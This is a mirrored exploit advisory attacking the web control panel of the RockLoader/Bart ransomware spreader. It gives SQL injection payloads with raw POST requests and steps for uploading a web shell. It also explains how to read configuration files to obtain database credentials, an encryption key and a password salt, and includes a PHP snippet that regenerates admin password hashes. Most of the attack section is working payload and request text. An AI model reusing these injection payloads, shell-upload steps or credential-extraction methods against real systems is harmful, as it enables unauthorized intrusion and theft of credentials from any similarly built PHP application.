Lucene search
K

RockLoader SQL Injection / Shell Upload

🗓️ 30 Jun 2016 00:00:00Reported by Danail VelevType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 41 Views

RockLoader SQL Injection & Shell Upload, Bart malware, remote SQL injection, C&C server, webapp security, file upload vulnerabilit

Code
`# Exploit Title: RockLoader aka Bart Malware [SQLi] and shell file   
upload  
# Date: 27-06-2016  
# Software Link Leak: https://github.com/colocation/RockLoader-source  
# Exploit Author: Danail Velev  
# Contact: ICQ: 209030 / [email protected]  
# Website: http://colocation.bg/  
# Category: webapps / malware / private software / infection spreader /   
C&C  
# Inspiration: http://www.xylibox.com/  
  
1. Description  
  
Since last days ... new Bart aka RockLoader malware/rasomware spreader   
is active.  
My family was a victim of this type of extortion past year.  
  
2. Short info: SQL Injections  
  
NO user registration required.  
The Command and Control Server processing the spread requests,user   
tasks and responsible for the process, is suffering from mutiple remote   
sql injection.  
Common C&C server path is "/cp/login/" in most common setups.  
Since the specific of the spreader and it's functionality, methods of   
encryption and working process,  
There is possibility for RCE,MSF/CMD injection and local root post   
explotation.  
  
In common cases the setup comes with this specific configs.  
- user has full priviligies to host sql server.  
- you can interact with local file read in most conditions.  
- user is database administrator in most conditions.  
- database name and structure are identical since it comes as   
phpmyadmin dump.  
- file write and read is a must.  
- user screen capture plugin on advanced setups.  
- default database name is 'appdater'  
  
  
3. Proof of Concept:  
  
Affected parameters are "username" and "password" via specifict POST   
request.  
The 3th parameter is the php session.  
  
----=(SQL Injection 1)=----  
Type: error-based  
Method: POST  
Request Type: XMLHttpRequest  
Title: MySQL >= 4.1 AND error-based - WHERE, HAVING, ORDER BY or GROUP   
BY clause (FLOOR)  
Payload example for POST parameter username:   
password=S0M3PaSSw0rd&username=-1' OR 32 AND ROW(9213,8915)>(SELECT   
COUNT(*),CONCAT(0x716a707071,(SELECT   
(ELT(9213=9213,1))),0x71767a7071,FLOOR(RAND(0)*2))x FROM (SELECT 4118   
UNION SELECT 5903 UNION SELECT 7493 UNION SELECT 1139)a GROUP BY x)--   
KSxg1=6 AND 000580=000580 --  
Example raw request for host: 127.0.0.1  
-----------------EXAMPLE--------------------  
POST /cp/login/ HTTP/1.1  
Content-Length: 87  
Content-Type: application/x-www-form-urlencoded  
X-Requested-With: XMLHttpRequest  
Referer: 127.0.0.1/cp/login/  
Cookie: PHPSESSID=c4u29lkhiavel5vt14tchcb190  
Host: 127.0.0.1  
Connection: Keep-alive  
Accept-Encoding: gzip,deflate  
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21   
(KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.21  
Accept: */*  
password=S0M3PaSSw0rd&username=d0na1DTrump  
-----------------END--------------------  
  
=================================================================================================================================================================  
  
POC:  
----=(SQL Injection 2)=----  
Type: AND/OR time-based blind  
Method: POST  
Request Type: XMLHttpRequest  
Title: MySQL >= 5.0.12 AND time-based blind  
Payload example for POST parameter username:   
password=S0M3PaSSw0rd&username=-1' OR 32 AND SLEEP(5)-- sWMh1=6 AND   
000580=000580 --  
Example raw request for host: 127.0.0.1  
-----------------EXAMPLE--------------------  
POST /cp/login/ HTTP/1.1  
Content-Length: 87  
Content-Type: application/x-www-form-urlencoded  
X-Requested-With: XMLHttpRequest  
Referer: 127.0.0.1/cp/login/  
Cookie: PHPSESSID=c4u29lkhiavel5vt14tchcb190  
Host: 127.0.0.1  
Connection: Keep-alive  
Accept-Encoding: gzip,deflate  
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21   
(KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.21  
Accept: */*  
password=S0M3PaSSw0rd&username=d0na1DTrump  
-----------------END--------------------  
  
=================================================================================================================================================================  
  
POC:  
----=(Shell Upload POC)=----  
Requirements:  
- Valid user for control panel.  
- Access to database for reading.  
  
Step1:  
Upload your shell as new file via Control Panel.  
Name it: OWNED  
Note: filename is masked in control panel  
  
Step2:  
See 'file' table at 'appdater' database.  
QUERY: SELECT * FROM `file`;  
Look for name=OWNED and coresponding file_path name (EXAMPLE:   
C932kc.php)  
  
Step3:  
Location of your Shell  
http://127.0.0.1/files/c932kc.php  
  
-----------------END--------------------  
=================================================================================================================================================================  
POC:  
----=(Database user and password disclose)=----  
  
Example request to get the directory location:  
  
===============================================  
POST /cp/login/ HTTP/1.1  
Content-Length: 87  
Content-Type: application/x-www-form-urlencoded  
X-Requested-With: XMLHttpRequest  
Referer: 127.0.0.1/cp/login/  
Cookie: PHPSESSID=c4u29lkhiavel5vt14tchcb190  
Host: 127.0.0.1  
Connection: Keep-alive  
Accept-Encoding: gzip,deflate  
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21   
(KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.21  
Accept: */*  
password=S0M3PaSSw0rd&username=d0na1DTrump  
===============================================  
Response if error reporting is enabled:  
  
<br />  
<b>Notice</b>: A session had already been started - ignoring   
session_start() in <b>/var/www/html/cp/login/auth.php</b> on line   
<b>23</b><br />  
  
  
===============================================  
  
Read the settings.php file of the control panel to obtain user and   
password for database.  
location: /var/www/html/cp/settings.php  
  
----Snip-----  
<?php  
//Debug  
ini_set('error_reporting', E_ALL); // REMOVE TO TURN DEBUG OFF  
ini_set('display_errors', 1); // REMOVE TO TURN DEBUG OFF  
  
//MySQL settings  
define('DB_HOSTNAME', 'localhost');  
define('DB_USERNAME', 'root');  
define('DB_PASSWORD', '');  
define('DB_DATABASE', 'appdater'); <- most of the time this is the   
default database since it's come in the bundle.  
define('DB_PORT', '3307');  
  
......  
---EndSnip---  
=================================================================================================================================================================  
POC:  
----=(XOR Encrypton key and password salt disclose)=----  
  
Read the settings.php file (/var/www/appdater/html/settings.php)  
Look at the global configuration for the app.  
  
----Snip-----  
//GLOBAL settings  
define('XOR_KEY', 'aWL~jH9zJl$5Yfz7'); <- File encryption XOR_KEY  
define('FILES_URL', 'https://summerr554fox.su/files/'); <- address of   
all uploaded files  
define('APPDATER_PATH', '/var/www/html/');  
define('SALT', 'KsqwGzTl?Qwq|oHA'); <- SALT KEY FOUND !  
?>  
---EndSnip---  
TADAAAAAAAAAAAAAAAAAAAAAAAAAa we got the password for the sql and even   
more: XOR_KEY for file encyption, EXE files location, PATH to the   
Control Panel anddd....  
The most important --> THE SALT !  
  
=================================================================================================================================================================  
POC:  
---=(Admin panel password generator)=---  
  
Read the core/functions.php file   
(/var/www/appdater/html/core/functions.php)  
Look for this  
  
---Snip-----  
function create_hash( $string ) {  
return substr( sha1( SALT . $string ), 3, 17 );  
}  
----EndSnip---  
  
TADAAAA so we got and the algo used to create correct user and   
password.  
  
  
<?php  
define('SALT', 'KsqwGzTl?Qwq|oHA');  
function create_hash( $string ) {  
return substr( sha1( SALT . $string ), 3, 17 );  
}  
echo create_hash('S0M3PaSSw0rd');  
?>  
  
=================================================================================================================================================================  
  
  
3. Solution:  
  
DO NOT WRITE BUGGY APPZ:)  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation